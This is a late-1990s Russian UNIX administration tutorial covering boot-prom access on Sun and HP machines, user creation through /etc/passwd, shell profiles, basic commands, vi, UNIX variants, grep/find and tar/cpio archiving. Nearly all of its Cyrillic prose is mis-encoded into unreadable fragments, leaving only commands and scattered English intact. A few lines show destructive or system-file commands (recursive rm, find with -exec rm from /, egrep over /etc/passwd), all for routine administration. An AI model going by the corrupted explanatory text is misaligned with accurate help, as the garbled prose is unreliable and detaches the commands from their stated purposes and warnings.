&l0O



                &dD  ⥬ ஢ UNIX&d@

                                        ( 1.17.  1998)



        (C) Copyright ᨬ 쥢 誮, 1993-1998

        ================      ===============================

        ᨬ 쥢 誮
                 ⥬ ᫥ ,
                .ᥪ ⤥ ⥬⨪ १㬠 
                    956-2155, 274-6329, 938-1902
                    moshkow@ipsun.ras.ru
                    http://www.ras.ru/~moshkow/
        .
                &dD    UNIX. HP-UX/10.20&d@

                &dD&d@

                                                      ()

         祭 Unix-                              ()
           짮⥫                        ()
         砫 ࠡ  ⥬                                ()
         ᪮쪮 ⥩  Unix                       ()

          VI  稭                             ()
          뢠 Unix                                      ()
          find, grep                                     ()
          cpio, tar  娢஢                      ()

         㧪 樮 ⥬,  init             ()
          ਭ樯 ⥬ Unix                          ()
         樠 䠩                                      ()

         ᪨, 䠩 ⥬                                ()
         뤥 ࠧ  Swaping                         ()
         ⠫ ⥬                                    ()
         : ⠭ ⥫쭮                 ()
         ᪮쪮 ⥢  Unix (telnet, ftp, mailx...)  ()

         Hardware  ⥩: Ethernet, Token ring, FDDI   ()
         Hardware  ⥩                              ()
         ⨧ TCP/IP      (⨭)                   ()
          TCP/IP                                            ()
         TCP/IP                                        ()
         ⥢ 䠩 ⥬ NFS                           ()
         NFS: 䨣஢ -஢騪                ()
         䨣஢ DNS                                   ()
         ⥬ ⥫䮭 뫪 䠩 UUCP               ()

         ⥬  LP                                      ()

         ᪨ 䥩 Unix - X Windows                 ()

                &dDਫ&d@

          VI                                            ()
           ᪨ 䮭  X Windows               ()
             SVR4                                   ()
         䨣஢ DNS. ਬ standalone 䨣樨   ()
           Unix                                        ()
         ᪮쪮 ࠢ                      ()
         䨣஢ ࢥ HTTPD, ଠ HTML            ()
         ਨ  unix,                  ()
        .
                &dD祭 Unix-&d@

              ⥬ ᯫ,  ( ⢨ ⠪),
        ᮫  ନ,    ⠭    ⥬  .
        㧪  樮 ⥬ 筥 ⮬᪨. ⠫
          ,    㧨  樮  ⥬  
        ࠡ    ⨫ 樠樨 ⥬,  
         ᮫  ਣ襭

        Console login:

                ⠫ ନ - :

        Login:

               ᢮  室  login,    ஫. ᫨ ⠪ 
        ,   login' root -  "㯥௮짮⥫"  -
        砫쭮    ஫.

        Console login: root

                &dDSUN: 墠 㧪  筮 ०&d@

               ଠ쭮 ࠡ Sun SPARCstation   
        ६  墠,  । ࠢ   boot-prom.
         ⮣  ⥬   STOP+A. (STOP - 
            ⥫쭮 ).   
        boot-prom prompt Ok:

         Ok _

                    boot-. ,
        -  묨  :

          go         -   ,   ଠ ०
          help
          boot [ࠬ] - 㧨
          eject      - ⮫ "訩" 䫮-  CDROM
          probe-scsi -   SCSI-ன⢠
                       (᫥  ⮩       ଠ쭮
                       ࠡ  "GO" . १㧨)


             ᫨   "" Sun - ࢥ,     ⢥
        ᮫ 砥  䠢⭮-஢  ନ.  
           ᫥⥫쭮  - A  B. Sun 㦨
        ⢨  ⥬    訢        
        ।,    㦨         ନ,  
        ᮫ ( ᥬ ⥪騬  ⮣ ᫥⢨ﬨ).

             ⮡  맢 boot-  䠢⭮ ᮫, 
           BREAK (  ନ vt220 BREAK -    
        F5).

                몫  䠢⭮-஢  ᮫    Sun-ࢥ
          -    ⮬  ନ    ᨣ  BREAK,    Sun
        室      ⠭    boot-.    ⪫  
          ᮡ      Sun-ࢥ஢,      
        ⭮.

                &dDHP 9000: 墠 㧪  筮 ०&d@

               ଠ쭮  㧪 HP 9000  墠, 
        । ࠢ  boot-prom PDC (Processor Depended  code)
         ⮣ ᬮ  ᮫   ᥪ㭤 㧪 - ⠬
         ,  㦭   墠.  ࠡ
        ⠭    ESCAPE,  ࢥ - Ctrl-K ( Break,  
        -)
               PDC-prompt

        BOOT-ADMIN>

                    boot-. ,
         묨  :

          help
          search           -  㧮 SCSI-ன⢠
          boot [ࠬ] - 㧨
          secure on        -  墠 砫쭮 㧪
                           ( ⮡ ⮬ ᤥ secure off ਤ
                                १㧨)

             ᫨      ""  ࢥ,       ⢥
        ᮫ 砥  䠢⭮-஢  ନ.  
          ᮫쭮 .
        .
                &dD  짮⥫&d@

             ᫨    㪨  ᢥ⠭ 設,  
                ॣ஢      짮⥫   
        ᪫祭     㯥௮짮⥫     "root"    -    ⥬
        . ஫   . 室  .
            㯥௮짮⥫   ॢ.  ⮣ 믮
        

            su     # Super User

            짮⥫   ⥬  Unix  ।⥫쭮  
          ॣ஢.  짮⥫    :  ,
        ஫,    짮⥫,    㯯,     ன   
        ਭ,   譨  ⠫,    .  
        ஫   ⥫  ࠬ  -      
         , ६ ⢨,  稥 ᥪ 窨.

        Comment         Familiq Imya Otchestwo
        logname         室  짮⥫
        passwd          ஫ (஫  )
        UID             User Identification Descriptor
        GID             Group Identification Descriptor
        $HOME           譨 ⠫
        shell            

                &dD뢠 ⠪  &d@:

          /usr/local/bin/bash    㤮
          /bin/ksh               㦥,  ⮦ 祣
          /usr/local/bin/tcsh   ,  "ࠢ"  
          /bin/sh                "ࠢ"  ᠬ 㤮
          /bin/csh              "ࠢ"    㤮

        /etc/passwd -  ଠ  짮⥫ ࠭ 
        /etc/shadow -  ࠭ ஢ ஫
             ஢  ஫         㣨 .
           Unix.

                 㢠饬  ᥡ  Unix  "" ⨫
         (᫮ 뢠 sysadm) -  ணࠬ, 
        誠      誠     믮      
        ⥬   ஢.      ⮬    ᫥    
        ॣ஢    짮⥫. ᪠   ⮫쪮
        "㯥௮짮⥫" root.  ᪥ "sysadm"    
        ⨯  ନ,    ஬   ।⮨ ࠡ. ⢥:
        vt100

             ਬ砭.   ࠧ 樮 ⥬  ⨫
         뢠  ࠧ.

                admintool       Solaris 2
                sysadmsh        SCO UNIX
                smit, msmit     AIX
                sam             HP-UX
                control-panel   Linux RedHat
                sysadm          UnixWare, ISC, SVR4

                &dD ॣ樨  짮⥫&d@.

        adduser                 Linux
        useradd                 SunOS 4.1
        vipw                    BSD/OS, FreeBSD

                &dD ॣ஢  짮⥫ ""&d@.

        1. ⠢塞  /etc/passwd   :

        moshkow:x:555:1:Maksim E. Moshkow:/home/moshkow:/bin/ksh

        2. ਢ  ᮮ⢥⢨ 䠩 /etc/shadow

         pwconv

        3.  짮⥫᪨ ⠫

         mkdir /home/moshkow
         chown moshkow /home/moshkow

        4.  ஫  짮⥫

         passwd moshkow

        5.   .
        .
                &dD砫 ࠡ  ⥬&d@

                &dD室  ᥡ&d@
              ࠭ ନ  ப

                login:

               ,      ॣ஢  ⥬,
        ᫨ 㦭, ஫. ᫨  訡    ,  
        CTRL+U    DEL    CTRL-D  (  ⬥),  ᪮쪮 ࠧ
          Return, ௨    .
               ࠭  ਣ襭  .

                sunsite:~/$ _

             ⮡     ⥬,   exit  
         Ctrl-D  ⮩ 窥.

                &dD६ 㦥&d@.
                室     ⥬    짮⥫  ⮬᪨
        ⠭   ᪮쪮   ६    㦥.    ⮡
        ᬮ  祭, 믮  env.

            env   # ᯥ ᯮ஢ ६ 㦥

        LOGNAME=moshkow                  #  짮⥫
        HOME=/home/moshkow               #  譨 ⠫
        SHELL=/bin/ksh                   #   
        MAIL=/usr/mail/moshkow           # 䠩,   ᪫뢠
                                         # 室  
        PS1=host1:$PWD/$                 # ଠ ਣ襭
        PATH=:/usr/local/bin:/bin:/usr/bin:/usr/X11/bin:/usr/informix/bin:
                   # ᯨ᮪ ᪠,  ஬  믮 䠩
        TERM=vt100                       # ⠭ ⨯ ନ 
                                         # ஬ ࠡ⠥ 짮⥫

             ⮡    祭  ६  㦥,  믮
        :

           Imya_Pereemennoj=znachenie   export Imya_Pereemennoj

        ਬ

           abc=Kalosha  export abc

        ᬮ 祭  ६      echo  ⠪
        ଥ:

           echo $abc

                &dD짮⥫᪨ 䠩&d@

             ।  室    ⥬ ᯥࢠ 믮 ⥬
        䠩 /etc/profile

             ⥬  믮  짮⥫᪨ 䠩 ".profile" (᫨
         ) -     ⠭  ६  㦥  
          ⠭  ० ନ. ᬮ ⠭
        ६ 㦥   env

        ##### ਬ 䠩   .profile ##################################

               #   ᯨ ᪠ ⠫  㦭묨 ணࠬ
        PATH=:$HOME/bin:$PATH:/usr/sbin:/usr/local/bin:/usr/informix/bin
               #     ।஢  ப  ksh
        EDITOR=emacs
        export PATH EDITOR
        LC_CTYPE=iso_8859_1 export LC_CTYPE # ᪨ 㪢 - "㪢"

                #       ࠪ⨪ ନ
                # =BackSpace          ப=Ctrl-U
                # ࢠணࠬ=Ctrl-C "⮪_뢠"=Ctrl-|
        stty erase "^h" echoe      kill "^u" quit "^|" intr "^c"
        stty cs8 -parenb -istrip
                # 8- ᨬ, noparity,   ᥪ  8-  
                #  

        case "$0" in    #  ᨬ   
        *ksh)                   #        Korn Shell
                                #       ஢ ५窠
                alias __A=`echo "\020"`         # ^P = 쬥 020
                alias __B=`echo "\016"`         # ^N
                alias __C=`echo "\006"`         # ^F
                alias __D=`echo "\002"`         # ^B
                #  ਣ襭 ⠢ ⥪騩 pwd
                PS1=`uname -n`:'$PWD/$ '                     export PS1
                ;;
        *bash)          #  bash'  ਣ襭 ⠢ host:pwd
                PS1='\h:\w/\$ '                              export PS1
                ;;
        esac
        #    :       窠 _'_
        #     㣨 -   _`_ -  ⥫,  .

                &dD  ।஢  ப&d@
             ᫨    ࠡ⠥     Korn-Shell
        /bin/ksh,    ⠭ ६ EDITOR=emacs,     
        ᬮ  ।஢    ப     ५ 
        Ctrl-:

        ^P / ^N   PREVIOUS / NEXT         
        ^F / ^B   FORWARD / BACK           
        ^A / ^E     /         ப
        ^D / ^K     /   
        ^Y        ᯮ 㤠
        ^R         ।饩 

        ESC ESC     䠩
        ESC =     ᯥ 宦  䠩
              ᫨   bash,    
             ᨤ   TAB


                &dD몫祭 ⥬&d@

             ⮡     몫祭 ⥬, ᫥, 
        짮⥫ root  室   ୥  ⠫,  믮
        

            cd /
            shutdown -y -g0 -i0

                 砭  ࠧ㧪  ⥬  ⮫쪮
        ⮣ 몫砩 ⠭.

              १㧪 ⥬ 믮 

            shutdown -y -g0 -i6

             १㧨  ࠧ㧨 ⥬  ⠪   
        ⥬   sysadm .

                ॠ Unix, ( ⭮,  BSD, SunOS,
        Linux,  HP-UX),    shutdown  ᯮ  㣨   .
        ஡  ⮬ 砥:

           shutdown -h now   #  ⠭
           shutdown -r now   #  १㧪
        .
                &dD᪮쪮 ⥩  unix (  )&d@

        1.1. ⥬  UNIX ࠧ砥     㪢,    ⮬
         ਢ몭.

        1.2. ᫨  㭨⮦ - 䠩,   ஡ 
         ⠭     㤥.  ⮬    ⠭
        㭨⮦ 䠩  ⥬ Unix .  Unix 
         unerase,   ⮬  ⮦  㦭  ਢ몭.    
        ⨢    Unix  ⮦  .  ,   ⮩
        ஡   設  㤥.

        1.3.     䠩 ४ਨ ⤥  ᫥饩 
        ᨬ "/". (  ⮦ ⥫, ⮡     MSDOS  
            Unix 뫮,    ᨬ "\" - ९⠫ -   
        뢠)
               ᫨    稭      -  ,   
        ⭮ .
             ⮥   䠩     ᨬ. 
        ⮣    256 ᨬ.   ⭮
          䠩     1024 ᨬ.

        1.4.        蠡    ᯮ  ᨬ  "*"
        (ந쭠  ᫥⥫쭮   ᨬ)      "?"   (
        ந ᨬ).    窨 "." 砥 ⥪
        ४,    祪 ".." - 襫  (த⥫᪨
        ⠫).

        1.5.   ⮡    ணࠬ    믮,  筮
             ,  ᫨  㦭,  㣨  㬥  
        ப.  ணࠬ -  ⭮  䠩,  ஬ 
        ணࠬ   室.   㬥   ࠧ       
        ᪮쪨  ஡  ⠡ࠬ.   筮 (
         ᥣ) 뤥   "-".

              - - ...  稥 ࠧ 㬥 ...

        1.6.  ᫨    ப  砥    &,  
         ࠫ쭮 (䮭).  ନ ⠥  ,
           砥   祭   .   ᫥  祣  
        த ࠡ   襭 䮭 .

              -直 ࠧ 㬥 ... &

        1.7.              ।।   ࠢ
        -뢮  -   ⠭   ,   ⠭   뢮   
        ⠭  ⮪.    ࠢ,      室
            ⠭⭮        ⠥   १   
        ⠭  뢮.  ⠭ ⮪  ᮮ饭
         訡  ⨪. ࢮ砫쭮 ⠭ , 뢮
           ⮪   祭      ନ,         
        ७, ᯮ ᫥騥 樨:

                 > _䠩
        ( ⠭⭮ 뢮),

                 < _䠩
        ( ७祭 ⠭⭮ ),

                 2> _䠩
        ( ⠭⭮ ⮪ - ⥬ ⨪).

             ਬ -   䠩 ᮤন ⥪饩  ४ਨ:

                ls > infdir

               ᫨  뢮 祭  䠩,  । 砫 믮
         ᮧ ⮩ 䠩   ᮮ⢥騬    (᫨
        䠩   㦥  ⢮,    蠥),    ⥬    
        頥 ଠ. ᫨ ଠ 㦭     
        饣 䠩, ᫥ ᯮ짮 樥

                  >>  䠩
                 2>>  䠩

        1.8. 짮⥫ ⥬ UNIX ꥤ   㯯,  
         㯯  । ஬ ࠢ 㯠  䠩.

        1.9.   ணࠬ      ᯮ   祭   ६
        㦥, 祭  뫨  ।  ᪮.

        TERM=vt220
        HOME=/home/moshkow
        PATH=:/bin/:dss/rk:/home/moshkow/bin

        1.8.  뤠     ७ࠢ  室 㣮
        .  ⮣ ᯮ "|" - .

             ਬ:    㬬  ࠧ    ᫮ ப 
        䠩  ⠫ /tmp,     稭    ᨬ
        "text" ...

            cat /tmp/text* | wc -c

        #  cat ᫨   䠩  /tmp/text*,
        # wc -c -l ⠥ ⢮ ᨬ  ᫮ ப  室
        # ⮪.

             ᬮ  ⠭  뤠 :

           ps -ef  |  more

          १      ⠪ ࠧ:

          ps -ef > temp-file
          more temp-file
          rm temp-file

                &dD2.   㯮ॡ⥫ &d@.

        pwd   -   ⥪饩 ४ਨ
        cd    -  ⥪ ४
        ls    - ᯥ ଠ  䠩  ४
        cat   - ᫨  뢥 䠩-㬥  ⠭ 뢮
        cp    - ஢ 䠩
        mv    - ६ (२) 䠩
        ln    - ᮧ 뫪  䠩
        rm    - 㤠 䠩
        rmdir - 㤠 ४
        mkdir - ᮧ ४
        echo  - 뢥 㬥  ப  ⠭ 뢮
        ps    - ᯥ ଠ   믮塞 ᮢ
        kill  - "㡨" 믮塞    
        man   - 뤠 ࠢ  ᯮ짮   

                &dD2.1 pwd    뤠  ⥪饩 ४ਨ&d@.

          pwd

                &dD2.2 cd      ⥪ ४&d@.

          cd [ ४]

          cd /usr/spool/lp/adm

          cd ..

        ᫨  ४    㪠,      ᢮ "譨"
        ⠫ $HOME

                &dD2.3 ls     ᯥ ⠫&d@.

        ଠ  :  ls [] []

         -  䠩  ४਩;  ४਩
                ᯥ뢠 ᯨ᮪ 室   䠩,  䠩 -
                뢮    ⥫쭠 ଠ.
                 䠩   䠢.
                 㬥⮢ ls 뤠 ᮤন ⥪饩 ४ਨ.

          ls -al  - 뢮    ଠ:

                  ᫮               ६ 䨪樨
                          㯯                         䠩
                  ()                  ࠧ
        -rwxr-xr-x   1 moshkow  sys         17 Oct 18 16:13 ../jean
        drwxr-xr-x   1 moshkow  sys         12 Oct 18 16:11 ../jelly
        -rwxr-xr-x   1 moshkow  sys          0 Oct 13 14:14 ../j.bu.txt
        ^^  ^  ^
        ||  |  |
        ||  |  +----- ࠢ  ""  ⭮襭  䠩
        ||  +-------- ࠢ    㯯
        |+----------- ࠢ "" 䠩
        +------------ "-" -  䠩,  "d" - ४
                ࠢ:
                        r - 䠩 㯥  ⥭,
                        w - 䠩 㯥  ,
                        x - 䠩  믮,
                        - -  ࠢ 㯠 .

               -a - 뢥  䠩 ( ᫨  稭  窨);
               -x - 뢮  4 ;
               -t -  䠩    䠢,  
                    ६  ᫥ 
               -R - ४ᨢ ன  ᥬ ⠫

          ls -CF  -  ⠫  ᪮쪮 ⮫
          ls -al  -    ଠ

                &dD2.4 cat      뢥 䠩  ⠭ 뢮&d@.

        ଠ  :  cat 䠩1 [䠩2... ]

        Cat  뢮  ᮤন  ᫥    ⠭ 뢮.
        ਬ:

             cat 䠩

        ᯥ뢠 ᮤন 䠩, 

             cat 䠩1 䠩2 > 䠩3

        ᫨     䠩  頥 १  ⨩. ⮡
         ᮤন 䠩1  䠩2,  믮 

             cat 䠩1 >> 䠩2

                &dD2.5 more, pg ᬮ 䠩 ࠭筮&d@.

             more file_name ...
             pg   file_name ...
             less file_name ...

                ᬠਢ  䠩,    
        ࠭.  ᬮ஬  ࠢ   .  
        㤮 ࠢ   "less", ᠬ "㡮" -  "pg"

        q      -  ᬮ
         -  ᫥ ࠭
        ENTER  - ᤢ   ப
        b      -  । ࠭
        /      - 
        h      - Help - ᬮ ᯨ᮪   

        more,less,pg  ᯮ,  ⮡  ᬮ  ""  뤠
        , ⠢  ஬ "  墮"

            ls -al | more   - ᬮ 
            ps -e  | pg     - ᬮ ᯨ᮪ ࠡ ᮢ

                &dD2.6 cp     ஢ 䠩&d@.

        ଠ  :  cp 䠩1            䠩2
                          cp 䠩1 [䠩2 ...] ⠫

              䠩1,  ...  ,   . ᫨  - 
        ४,  䠩1  .     ᢮ .
        ᫨      ⢮,   ᮧ, ᫨ ⢮,
         ஥ ᮤন .

                &dD2.7 mv     ६ (२) 䠩&d@.

        ଠ  :  mv 䠩1             䠩2
                          mv 䠩1 [䠩2 ...] ⠫

          筠    cp,  室 䠩 㭨⮦.
         ᭮ ஫ - २ 䠩   ७  䠩  
         ४ਨ  ). ਬ.

            mv /dss/*/rk_*.help /dss/delo


                &dD2.8 ln     易 䠩&d@.

        ଠ  :  ln 䠩1 䠩2
                                    # ᮧ "⪨" 
                          ln -s 䠩1 䠩2
                                    # ᮧ "ᨬ᪨" 

            ᮧ 䠩 䠩1   .  ⮣ 䠩1 
        䠩2  ᠬ  䨧᪨    ⥬    䠩.
        ᫨      ᮧ   ⠪   뢠  "ᨬ᪨  ",
        (ᯮ   "-s"),    䠩  file1    ⮬    易
        ⢮.   "䠩2"  ⮬  ࠢ 㤥 ᮧ.

                &dD2.9 rm      䠩  ४&d@.

        ଠ  :  rm [-fri]  䠩 ...
                -i      -  ⢥ত   㤠
                -r      - ४ᨢ 㤠   ⠫
                -f      -   ⢥ত,  ࠧ 㤠

         㤠 ⮩ ४ਨ  ᯮ짮 

             rmdir ४ ...

        ⮡ 㤠  ४ 㦭 믮 

            rm -r ४

        :  ⮣,   蠡 ".*" 室 ⠫ ".."
                           # rm -r .*
        ( 設⢮ unix'   訡,    -
         SCO  )

                &dD2.10 mkdir   ४&d@.

         ᮧ ४ਨ ਬ  mkdir.

        ଠ  :  mkdir  _४ਨ ...

                &dD2.11 chmod   ࠢ 㯠  䠩&d@.

         chmod  ਡ (ࠢ 㯠) 䠩.
        ⠢ 䠩 ࠢ  믮:

            chmod u+x file1

         ⠫ 짮⥫ ࠢ 䠩

            chmod a+w file1

                &dD2.12 echo   &d@.

        echo  뢮  ⠭ 뢮 ᢮ 㬥

            echo "\017"

        뢥    ନ  ᨬ  Ctrl-O,    017 쬥筮.
        ⠭ ⨭  ନ ⨯ vt220  at386

                &dD2.13         䠩&d@.

         ᮧ 䠩  ᯮ짮 ᫥騬 ᯮᮡ:

            touch primer   # ᮧ ⮩ 䠩 primer;
            cat > primer   # ᮧ  䠩  primer     
                           # ⠭⭮ .   䠩 
                           # ᫥  CTRL+D.

                &dD2.14 ps      ணࠬ 믮&d@.

        頥    ᮢ,   믮  ⥬.

            ps          - 饭 ⮫쪮  ⮣ ନ
            ps -ef      - ,  "" ଠ ( SYSV Unix)
            ps -ax      - ,  "" ଠ ( BSD*  Linux)

                &dD2.15 kill   ࢠ &d@.

          kill  뫠  㪠  ᨣ 
        ⠭.

        ࢠ   1078 (  㧭  ps -e)

            kill -9 1078

        ࢠ  ணࠬ  襬 ନ, 饭   䮭
        ०,  ⨥  CTRL-C,   CTRL-\

                &dD2.16 man    ᫨  뫨  짮 &d@.

          ࠢ,    ᪥     㬥⮢  뤠
        ଠ ᢮ 맮.      設⢠    筮
         ଠ    ⠪:

            man    _饩__
            man -k 祢_᫮    # ᯨ᮪ , ⭮  ...

                &dD2.17 who     ࠡ⠥  ⥬&d@.


            who           - ⨬   㧭   ⠪,
            who am i           ࠡ⠥  ⥬
            finger
            last | more
            id
            man -k who   - ᮮ   , 묨 
                           㧭,      ⥬.
        .
                &dD祭 ⪮  । "VI"&d@

                  ⠬  ᪮  ࠤ樨  ""
        (᪨) ⥬ Unix    ᢮   
              ଠ쭮   (  ࠧ  ભ    ᫮  -
        )   ⥪⮢    ।.    ⮬    ⥬
          易  㬥  짮 ⥬,   . 
          ࠢ "㠫" ࠭ ।  䠩  -
         VI.

                &dD VI   ०:&d@

        1.    -    ⮬  ०  ६  䠩 
        믮 ।騥   ⥪⮬.  뢠
          .

        2.  ⥪ -  ⮬ ०  ⨭᪨  㪢  
        ⠢  ⥪.

        3.    筮  ।  ED ᯮ  ࠢ
        䠩 (⨯ ࠭ 䠩,  䠩  ..)

           ⠩ ।騩   ࠧ.      㣠?
        . 堫. ⠪:

               vi _䠩

        VI   .

              :
             ESC  :  q  ! Enter

        ⮡   䠩, ࠭  :
             ESC  :  w ! Enter
             ESC  :  q   Enter
          䠩  ࠭,  :
             ESC  :  wq  Enter

                &dD 室    㦭   ⨯:&d@
           "i"   ⠢ 
           "A"   ⠢   ப
           "cw"   ⥪饥 ᫮

           ESC        
           CTRL-[     ०

            室     㦭 
           ":"  (३  ० । ED)

                &dD  䠩  :&d@
             h,j,k,l    , , , ࠢ
             Ctrl-F      ࠭ 
             Ctrl-B      ࠭ 
         ᫨  祭 ,   㤥  ५窠.
        ⮡ ३  ० , 㦭     樮
        ⥬      ନ.   ⨬      쭥襬  (.
        "ᠭ ନ, terminfo, termcap").

           㦭   
             i          ॢ  ० 
         ॡ㥬 ⥪
             ESC        ४ , ३   ०

           㦭   
             x          㤠 ᨬ
             dd         㤠 

                &dD 窠  :&d@

             o          ⠢   ப ( ⥪饩 ப)
             a           ०   ஬
             5yy         5 祪
           㦭 
             p          ⠢  ப  ஬
             P          ⠢  ப  ஬

             J            ப
             / ᪠ Enter       - 
             n           

         ⮬   ।஬ VI   祭.
        ,  ⠥,  VI  ।⠢   㤮  
            ।஢,    뫠    ਫ  
        ࠢ筨-⪥ " 㯮ॡ⥫  VI",  ,
          ⢥ ( ᥣ)  㬥樨. ⠫  뫠
           㤨⥫쭮  ᢮ த । EMACS, ,
         ᬮ  , ४ 짮 ।.
        .
                &dD Unix' 뢠  த?&d@

                &dD᪮ ॢ&d@

               ࠧ ᫥ ஦ Unix ᪮   ⢨ -
           "த⥫᪠", ன    "樠"
        宧鶴   ࣮   ન  Unix  -  Unix  System  Laboratory  -
        䠪᪨    ᪠.    ஥  ᫥⥫᪮
          ફ  -      ᭮ ᢮ - ᯫ
        Unix.

                      System III
                      System 6

              USL <-- ᪮ --> Berkeley

        System 7                BSD 4.0

        Unix V 3.1
        Unix V 3.2    <-------  BSD 4.2
                            /   BSD 4.3
        System V Release 4 / ⢮
                          /     BSD 4.4          ஥ ફ
        SVR4.0          < <     ____________________________________
        SVR4.1
        SVR4.2

               ⠪    USL  ⠪  ⥫쭮  "㤨" BSD 
        ᯮ짮 ࠣ⮢   ࠩ⮬ AT&T,    
        ⥯  ᯮᮡ⢮   ஥ BSD. ।᫥ 
        㯭  ⠢騪  ᪨  BSD-  ⥬   -
        Sun/SunOs  諨      SVR4.  থ⢥  樠쭮
        ,     SVR4      ⢥   ᫥,
        ꥤ訬  訥  襭,  襤訥    Unix  V    BSD.
        ᫥   ⠥ DEC:  OSF/1   Alpha  AXP  -
          ᪠祭,    筮    BSD
        4.3.

                &dDUnix'  IBM/PC&d@

                &dD᪨  ᫮ ᯫ&d@

        BSD/OS 2.0 BSDi/386 ண ᪨.  ন.
                        ন  ᮢ⨬  SCO Unix
        386bsd          BSD 4.3  ⥫᪮ 
        NetBSD          ந  386bsd
        FreeBSD 2.1      ⢥ .   뢠 
                        USL,     ९ᠭ ᪨ 
                           ࠩ AT&T.
        Linux 2.0.30      । ᯫ Unix'. ᫮
                        ⠫権 業筮  100   1 .
                        뢭 ᮢ襭⢮ ᨫ ⥭
                        ஢楢     ஢ 쭮 ,
                        ன, ⢥  㤮 ⥬,
                        ਣ  ࠡ   ⢥ ᪮
                        ࠡ祩 ⠭樨, ⠪  ୥-ࢥ.
                        ন   ਫ,  hardware.
                        ন ᯥ䨪樨  iBCS,  ⮬ 
                        믮 ᪨ ਫ  SCO, 
                        ⭮ Oracle  Informix.
                        Linux ॠ   ࢥ Netware,  Samba.
                        ஬ MS Windows WABI 짮 祭  .

                &dD᪨ Unix'&d@

        UnixWare 2.1 SVR4.2  SCO. ⨬  Windows  Netware. 
                                         㬠 .
                                    ন ⨯ PC.
                                    ᫥  ⮣    Novell ४㯨
                                    SCO, 饥 ⮩ ⥬ ⠫ 
                                      ⮫  稢.

        Solaris 2.5  SVR4.0   SunSoft. ᥬ   Sun'.  ਭ樯,
                           ᠬ  ᥡ. 稭 
                        5- ᨨ  Solaris  襫 Motif.
        SCO Unix 4.0    SVR3.2     ⠭ ।
                         Unix'  PC.     ⫠
                        ⥬.  ন 筮  hardware.
                        ন ⨯ PC.
                        ୮ ண. ࠫ쭮 ५.
                         ஡  䨪樥. .
        ISC Unix 3.2      ⥭  ࠡ. ࠫ쭮 ५.

                &dDUnix', ⠢塞 ந⥫ﬨ ஢&d@

           設       樮 ⥬      "ਣ"
        Sun 1,2,10,...       SunOS 4.1.2             BSD 4.3
        Sun 10,20,1000       SunOS 5.5               SVR4.0
        IBM RS/6000          AIX                     SV 3.2
        HP 9000              HP-UX 10             BSD 4.2 & SV 3.2
        Sequent              Dynix                   SV 4.0
        Motorola 922         SVR4/88                 SVR4.0
        -88             Bestix                  SV 3.1
        DEC                  Ultrix                  BSD 4.2
        DEC Alpha AXP        OSF/1                   BSD 4.3
        SGCS Silicon Graphic IRIX 6.0

             롨  ,    ⮬᪨  砥   "
        ᮡ⢥" Unix.
               窨  ७  㤮⢠   楫쭮 ᪮
        ࠢ ᠬ    - HP-UX 10.20  AIX.
              ᠬ ࠭ - Solaris 2.5 (⢥).
        .
                &dD ᪠ GREP  FIND&d@.

                 grep/egrep

        "䨫" ப - ⠢ ⮫쪮 "室騥"  蠡

            egrep 蠡  [ file ... ]

          蠡    室  몭 ᨬ (।⠢騥
        ᠬ ᥡ,    ⠪    -  ᯥᨬ,  믮騥  㦥
        㭪樨 蠡: . * ^ $ [ ]

            .        -  ந ᨬ
            *        - "⥫" (।騩 ᨬ  ᫮ ࠧ)
            .*       -  ᫥⥫쭮 ᨬ
            ^蠡  - ਢ뢠 蠡  砫 ப
            蠡$  - ਢ뢠 蠡   ப
           [ᨬ] - ஢  ᨬ  ,  ⮨  ᪮


        뢥  ਢ஢ 짮⥫:

            egrep ':0:0:' /etc/passwd

        뢥  ਢ஢ 짮⥫:

            egrep -v ':0:0:' /etc/passwd

        뢥    짮⥫,     稭  㪢
        a,b,e,d

            cat /etc/passwd | grep "^[abed].*"

                 find.

        find ४ᨢ  室  㪠 ⠫  䠩, ஢
          믮  㪠  ᫮,    믮-
           묨  䠩  㪠 ⢨. ਬ ᠬ
        ⮥ ⢨ - ᯥ  䠩.

            find   䠩 [ ... ]   /᫮/⢨

                -᫮  find:

          -name "*.c" - ⮥  室  蠡 *.c
          -type f     -  ⮫쪮 몭 䠩
          -type d     -  ⮫쪮 ⠫
          -size +500  - 䠩 ࠧ஬  500*512 
          -mtime -3   -  䨪樨  3- 
          -newer  filename -  䨪樨 襣 䠩  祬 
                              䠩 filename

        :    find  ᯮ  ⠭  SHELL'᪨
        蠡.    grep  ᯮ  蠡  㣮  ଠ,
        뢠 ॣ묨 ࠦﬨ.

                -⢨  find

          -print      -  ᯥ ⭮  䠩
          -exec   䠩 {} \;

                ਬ.

           몭 - 䠩, 
         ᫥ 4   ⥪饬 ⠫   ⠫.

            find . -type f -mtime -4 -print

        ⮦    䠩  砭ﬨ *.bu, *%,   -
          .

            find   / \( -name "*.bu" -o -name "*%" \) -type f    \
            -atime +30 -exec  rm  {} \;

         "rm {} \;"  - 砥  Unix,  㤥 -
            ⠪   䠩.  窠 "{}"
        㤥 ⠢  ࠧ   䠩. ⢥-
        ,  ⠪ ࠧ     㭨⮦.
        .
                &dD娢஢. ஢ 䠩  ਬ&d@

         UNIX  ⮣  짮  ⨫⠬:

        tar       ᯮ짮,    㬥
        cpio     , 祬 tar,  ᫮.

                &dD  tar  (Tape Archiver)&d@.

        ।祭  ᮧ 娢  ,   䠩.

        : "-c" Create, "-x" eXtract, "-a" Append, "-t" 

        tar -cvf arhiw.tar fajl1 fajl2 katalog3 ...     - ᮧ 娢
        tar -tvf /dev/rmt/ctape                뢥  
        tar -xvf arhiw.tar katalog3/fajl4        娢   䠩
        tar -xvf /dev/rmt/ctape          娢   ⭮ 
                                             䠩
        tar -avf arhiw.tar fajl5                  䠩  娢

        :
         "v"    뢮 ᯨ᮪ 䠩   ଠ (Verbose)
         "f"    뢠   䠩

                &dD CPIO.  (Copy In/Out)&d@.

         cpio -o   ⥬  ᯨ᮪    ᪫
         䠩    娢, ⠫   ᢮  ⥬
        뢮.

           䠩  ᯨ:

                -o     - (output) ᮧ 娢.
                -H odc - 뢠  "ᮢ⨬ ଠ" (⮡  -
                         娢   뫮   Beste  Sun'
                -c     - 뢠  "५" ᮢ⨬ ଠ

            cat spisok | cpio -ovB -H odc > /dev/rmt/ctape1
            find katalog -print | cpio -ovc > arhiwnyj-fajl.cpio


         cpio -i ⠥  ⥬  cpio-娢  -
           䠩

        # ᬮ ᮤঠ ਬ.
            cpio -itB   < /dev/rmt/ctape

        #  䠩  ਬ.
            cpio -idmvB  ["蠡" ...] < /dev/rmt/ctape

                -B     5120  - ਬ ଠ.
                -d    ⠫  砥 室.
                -v   뢥 ᯨ᮪  ࠡ⠭ 䠩.
                -m   ࠭  ० ६ ᫥ 䨪樨.
